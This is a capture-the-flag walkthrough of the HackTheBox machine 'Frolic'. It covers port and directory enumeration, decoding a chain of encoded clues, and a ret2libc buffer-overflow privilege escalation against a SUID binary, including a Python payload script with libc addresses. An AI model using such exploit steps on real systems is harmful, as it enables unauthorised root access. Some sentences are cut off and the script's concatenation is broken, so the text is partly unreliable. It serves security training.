- HackTheBox Dificulty Rating 55% 55%
13 Oct 2018
Even though the user part was very CTF like, having to decode multiple esoteric languages and being directed this way and that through the application filesystem, the
It’s much easier to show than to explain so let’s jump right in.
As always I start with a
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-22 23:21 EET
Nmap scan report for 10.10.10.111
Host is up (0.039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h57m58s, deviation: 3h10m30s, median: -7m59s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2019-03-23T02:44:07+05:30
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ Message signing enabled but not required
| date: 2019-03-22 23:14:06
|_ start_date: N/A
Service detection performed. Please report any incorrect results at
Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds
Let’s try to see what we get when we visit the applications.
A default page, but if you look close it also directs you to the port 1880 in case you missed it on the initial scan. Ok, Let’s go to that port and see what we get.
A node red platform. After a lot of
We start with a
[23:23:21] 301 – 194B – /admin -> http://10.10.10.111:9999/admin/
[23:23:21] 200 – 634B – /admin/
[23:23:22] 200 – 634B – /admin/index.html
[23:23:25] 301 – 194B – /backup -> http://10.10.10.111:9999/backup/
[23:23:26] 200 – 28B – /backup/
[23:23:29] 301 – 194B – /dev -> http://10.10.10.111:9999/dev/
[23:23:29] 403 – 580B – /dev/
[23:23:40] 301 – 194B – /test -> http://10.10.10.111:9999/test/
[23:23:40] 200 – 83KB – /test/
Ok, we have multiple interesting files. Let’s check them out. First let’s go to backup. There almost always is something interesting there.
It seems to direct us to a user.txt and password.txt. Let’s check them out and see what we get.
So now we have a user and a password. Let’s head to /admin and see if we can manage to use them on the login page there.
Spoiler: they don’t work
But, if we look at the source code of the page, we see that the login button calls a function named validate()
What the actual
Ok, let’s not panic. If
This one was a bit tricky because it looks like ??? but it’s actually Ook!
From here we can just google “ook decode” and get the following:
Nothing here check /asdiSIAJJ0QWE9JAS
Another clue. Fine, let’s go to that directory and see what we get.
Well, at least this one looks like base64 so we go ahead and decode that and get something that at first seems to be a mistake, but after closer inspection looks like a file.
If we go ahead and pipe it into a file, we can see that it’s actually a zip archive.
If we rename it to .zip and try to unzip it asks us for a password.
Now we can unzip the file and see inside an index.php file that has a bunch of hex.
Again, we decode the hex to ASCII and get some base64. This is getting quite repetitive.
We decode the base64 and get some more gibberish.
It’s a password, but for what?
Seems we have to do some more enumeration. If we go back to
Going to that /
Now if we try the user admin and the final password that we found after we finished that emotional roller-coaster of a challenge we finally manage to log in to something that looks useful.
After a little search, we manage to find a
Here we find the user.txt flag in the home directory of
Ok, so for the root part, after enumerating the box we notice that there is a file with SUID set in
This file seems to take a string as an argument and send it.
Buffer overflow anyone?
Let’s see what happens when we send it 100 A’s.
Good. We get a Segmentation fault.
We don’t have any debugger on the box
Now that we have a pattern we can run the program in gdb with the –args flag and place our pattern as the argument and run the program.
If we scroll down we see that the
We see that the buffer size is 52. That’s not a lot to work with but for a basic
We see NX is enabled meaning basically that DEP is enabled so we cannot run our shellcode from the binary. We need to think of a different way to exploit this. Fortunately, the name of the binary gives it away. ROP
We can check the address of
If we type it multiple times we can see that the address is static meaning ASLR is not enabled. This makes things much, much easier.
Ok, so in order to do
Now that we know what we need, let’s proceed in finding out how we get them.
For the system address we use the following command:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
Bear in mind that that address is the address of system inside
So to get the real system address we need to add the offset address with the base address of
So 0xb7e19000 (base libc) + 0x0003ada0 (system offset) = 0xb7e53da0
Now we need to do the same for exit. We grab the offset address with:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
After that, we just need the address of our command and we can finally assemble our buffer overflow.
We get the address of /bin/sh using:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
We then make a simple python script that gives us the overflow. The code is below:
import struct system_addr = struct.pack("<I",0xb7e53da0) exit_addr = struct.pack("<I",0xb7e479d0) shell_addr = struct.pack("<I",0xb7f74a0b) buff = "A" * 52 buff = system_addr buff = exit_addr buff = shell_addr print buff
We import struct so we don’t have to deal with the
We run the vulnerable program and insert our python code as arguments and get a root shell.